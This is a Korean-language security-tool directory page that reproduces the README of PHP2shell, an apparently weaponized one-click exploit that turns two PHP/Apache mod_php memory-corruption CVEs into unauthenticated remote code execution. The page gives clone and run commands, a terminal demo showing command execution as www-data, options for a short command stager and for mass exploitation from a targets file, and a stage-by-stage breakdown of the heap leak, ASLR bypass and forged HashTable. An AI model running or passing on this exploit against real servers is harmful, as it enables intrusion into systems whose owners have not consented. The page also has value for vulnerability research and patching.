Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
PHP2shell — CVE-2026-109618 및 CVE-2026-109619에 대한 원클릭 익스플로잇 PoC로, 취약한 PHP + Apache mod_php(prefork) 대상을 공격합니다. | Kitploit
도구/GitHubGitHub/0xgh057r3c0n/php2shell
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingPayload DevelopmentBinary Exploitation
GitHub0xgh057r3c0n/php2shell

PHP2shell

CVE-2026-109618 및 CVE-2026-109619에 대한 원클릭 익스플로잇 PoC로, 취약한 PHP + Apache mod_php(prefork) 대상을 공격합니다.

저장소 보기
10시간 45분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
PHP 로고

💀 PHP2shell

CVE-2026-109618 및 CVE-2026-109619에 대한 원클릭 무기화 PoC

취약한 PHP + Apache mod_php (prefork) 배포 환경을 대상으로 합니다.

CVSS License Python Author

⚠️ 경고: 이 도구는 오직 승인된 보안 테스트, CTF, 교육적 연구 목적으로만 제공됩니다. 소유하지 않았거나 명시적인 테스트 허가를 받지 않은 인프라에 대해 사용하지 마십시오. 저자는 오용에 대해 어떠한 책임도 지지 않습니다.


⚡ 익스플로잇

PHP2shell은 Apache mod_php prefork 환경 내의 PHP 코어를 대상으로 하는 다단계 메모리 손상 익스플로잇입니다.

OOM(Out-Of-Memory) 처리와 영속 워커에 남아 있는 요청 소유 상태를 악용함으로써, 이 익스플로잇은 ASLR(주소 공간 배치 무작위화)을 우회하고 내부 힙 및 libphp.so 포인터를 유출하며 PHP 구조체를 위조하여 인증 없는 원격 코드 실행(RCE) 을 달성합니다.

🎯 지원 프로필

  • bookworm (기본값): Debian Bookworm의 공식 php:8.4.26-apache Docker 이미지.
  • lab: 커스텀 랩 빌드 (PHP 8.4.26, Apache 2.4.68, Debian 12, gcc 12).

🚀 빠른 시작

몇 초 만에 실행할 수 있습니다.

1. 클론 및 준비

git clone https://github.com/0xgh057r3c0n/PHP2shell.git
cd PHP2shell
chmod +x php2shell.py

2. Fire in the Hole

python3 php2shell.py -u http://127.0.0.1:8088/index.php

📸 터미널 데모

$ python3 php2shell.py -u http://target.local/index.php

       .__           ________         .__           .__  .__   
______ |  |__ ______ \_____  \   _____|  |__   ____ |  | |  |  
\____ \|  |  \\____ \ /  ____/  /  ___/  |  \_/ __ \|  | |  |  
|  |_> >   Y  \  |_> >       \  \___ \|   Y  \  ___/|  |_|  |__
|   __/|___|  /   __/\_______ \/____  >___|  /\___  >____/____/
|__|        \/|__|           \/     \/     \/     \/           

                 php2shell — CVE-2026-109618 / CVE-2026-109619
                             CVSS v4.0: 9.2 Critical
                              author: 0xgh057r3c0n

[*] target http://target.local/index.php (cmd='id>/out/p1')
[*] offsets: zif=0x690d8 dtor=0x613c50 htdata=0x690d8
[*] rotating worker over HTTP
[*] stage 1: heap leak (attempt 1/3)
[+] chunk base = 0x7f8a40000000
[*] rotating worker over HTTP
[*] stage 2: libphp leak (attempt 1/3)
[+] libphp base = 0x7f8a12345000
[*] rotating worker over HTTP
[*] stage 3: HTDATA=0x7f8a40690d8 ZIF=0x7f8a123a9a870
[+] W3 attempt 1
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)

🛠️ 고급 사용법

전체 옵션과 기법을 보려면 클릭하세요

사용자 지정 명령 (14바이트 제한)

167바이트 캐리어 크기 때문에 명령 길이는 14바이트로 엄격히 제한됩니다. 더 긴 페이로드를 실행하려면 짧은 스테이저를 사용하세요:

python3 php2shell.py -u http://target.local/index.php -c 'sh</out/c'

대상 파일 (대량 익스플로잇)

targets.txt 파일을 생성하세요:

http://10.0.0.1/index.php
https://10.0.0.2/index.php
target.local

모든 대상에 대해 익스플로잇을 순차적으로 실행합니다:

python3 php2shell.py -t targets.txt

명시적 오프셋

오프셋을 수동으로 추출했거나 사용자 지정 빌드를 대상으로 하는 경우, 직접 전달하세요:

python3 php2shell.py -u http://target.local/index.php \
  --zif-offset 0x43A870 \
  --dtor-offset 0x613C50 \
  --htdata-offset 0x690D8

원격 검증

로컬 파일을 확인하는 대신, HTTP를 통해 파일을 가져와 익스플로잇이 RCE를 검증하도록 강제합니다:

python3 php2shell.py -u http://target.local/index.php \
  -c 'id>/out/p1' \
  --proof-file '' \
  --fetch /out/p1

모든 CLI 인수

인수설명
-u, --url대상 PHP 페이지 URL
-t, --target-file한 줄에 하나의 대상 URL이 포함된 파일
-c, --cmd실행할 명령 (최대 14바이트)
--proof-file확인할 로컬 증명 파일 (기본값: out/p1)
--fetch원격으로 익스플로잇을 검증할 GET 경로
--profile대상 프로필: bookworm (기본값) 또는 lab
--zif-offsetlibphp.so 내 zif_system의 오프셋
--dtor-offsetlibphp.so 내 ZVAL_PTR_DTOR의 오프셋
--htdata-offset167바이트 문자열의 청크 기준 오프셋
--retries누출 단계별 시도 횟수 (기본값: 3)
--no-colorANSI 색상 비활성화

🧠 공격 체인 분석

Stage 0 워커 교체: 과도한 크기의 요청을 전송하여 Apache prefork가 현재 워커를 중단하고 깨끗한 힙을 가진 새 자식 프로세스를 포크하도록 강제합니다.
Stage 1 힙 누출: OOM 손상을 유발하여 모듈 전역 포인터가 해제된 메모리를 참조하게 만듭니다. 스프레이된 폼 필드가 위조된 zend_string으로 해당 슬롯을 재점유하여 Set-Cookie를 통해 힙 포인터를 누출합니다.
Stage 2 ASLR 우회: libphp.so에서 zval_ptr_dtor 포인터를 누출합니다. 알려진 DTOR_OFFSET을 빼면 라이브러리 베이스 주소가 드러납니다.
Stage 3 RCE: 가짜 HashTable을 위조하고 pDestructor를 libphp_base + ZIF_OFFSET으로 설정합니다. PHP의 정리 루틴이 귀하의 명령으로 zif_system을 호출합니다.

MIT License에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE를 참조하세요.

0xgh057r3c0n이(가) 🔥를 담아 제작했습니다.

도구 다운로드